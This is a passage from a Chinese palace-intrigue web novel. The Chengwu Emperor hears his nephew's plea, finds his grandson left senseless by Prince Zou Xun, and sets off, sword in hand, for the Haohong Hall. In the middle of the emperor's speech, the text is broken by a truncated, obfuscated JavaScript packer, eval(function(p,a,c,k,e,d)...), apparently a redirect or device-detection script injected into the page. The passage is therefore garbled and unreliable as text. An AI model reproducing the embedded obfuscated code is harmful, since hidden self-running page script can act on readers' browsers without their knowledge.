“你究竟犯了多大的罪,怕成这样?”成武帝无奈说,“于公,朕是皇帝,别的不敢攀比,但也算得上公正言明;于私,朕是你的皇叔,你小时候,可没少追着朕让朕带你玩。朕记得你那时候上树下水,都不在话下,怎么越年长,反倒越胆小了?” 邹珏似乎也想起了小时候的趣事,脸上露出一丝笑容,人也冷静许多。 “这才对嘛。” 但成武帝一出声,他又吓了一跳,连忙又嗑了三个头,“陛下,不,皇叔!您救救侄儿,救救侄儿的妻小……” “哦?”成武帝疑惑,似乎还未意识到严重性,“你贵为睿王,谁敢在这皇城之中对你一家出手?” 邹珏抬头看向成武帝,话还没说出来,两行热泪先滑下。 成武帝面露疼惜之色,却坐着没有任何动作,只说:“有什么委屈冤情直接说来,朕会为你做主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门外很快有太监应‘诺’,急促的脚步声小跑着远去。 邹珏也含泪将自己知晓的都一一说给成武帝听,还未说完,门外就传来敲门声和沙於的声音,“陛下,老奴带着小世子回来了。” “进来。” 见邹珏也在,沙於一愣,成武帝转过身来,背对邹珏,看向他道:“珏儿是自己人。” 沙於又是一愣,但很快又面色凝重道:“陛下,如您所料,二殿下果然让龙武军送小世子,老奴已经依照你的吩咐将人放进宫来。” 成武帝点点头,看到史承抱着的邹沛,他一惊,心疼得快步上前将人接过。 他压下怒意,一边伸出一只手在邹沛空洞的双眸前轻晃,一边温声喊,“沛儿,沛儿,是皇爷爷,还认得皇爷爷吗?” 但邹沛没有任何反应,双目也无法聚神。 “好个邹珣,对自己的亲生骨肉也这样狠毒,难怪敢做出弑父的事来!”成武帝几乎是咬牙切齿骂出来的,气得差点一口气没缓过来。 “陛下!” “皇叔!” 沙於和邹珏都是一惊,连忙上前扶住他和他怀中的邹沛,沙於一边给他顺气,一边温声道:“陛下,您千万不能倒下,平心静气,冷静下来。” “陛下,小世子给奴才照顾吧。”史承也温声说着,想替成武帝分担些重量,哪怕只是很轻微的一点点。 成武帝也没逞强,小心翼翼将邹沛递给了史承,又说:“速将沛儿带到朕的寝宫去,告诉那些太医,若治不好沛儿,就想想自己要怎么死。” 史承连忙应声,带着邹沛先离去。 成武帝又缓了缓,这才道:“扶朕去浩鸿大殿。” 邹珏忍不住劝,“皇叔,赵大将军等人一时赶不到,浩鸿大殿离宫门太近太危险,还是由侄儿和沙公公扶您回寝宫去吧。” 沙於也劝,“睿王所言有理,陛下,咱先回寝宫去吧。” 成武帝固执摇头,挣开两人的搀扶,踉跄但坚定,大步上前拿过挂在墙壁上的金镶十八宝佩剑,而后转身朝外大步走去。 这架势,就像是要亲自去斩了邹珣这个不孝子。 但在场的都能看得出,成武帝早已不是御驾亲征时的成武帝了,他的身体已经不允许他再大动刀戈了。 两人短暂对视一眼,看向对方的眼神都是无奈又心疼,两人只得快步上前扶着他浩鸿大殿而去。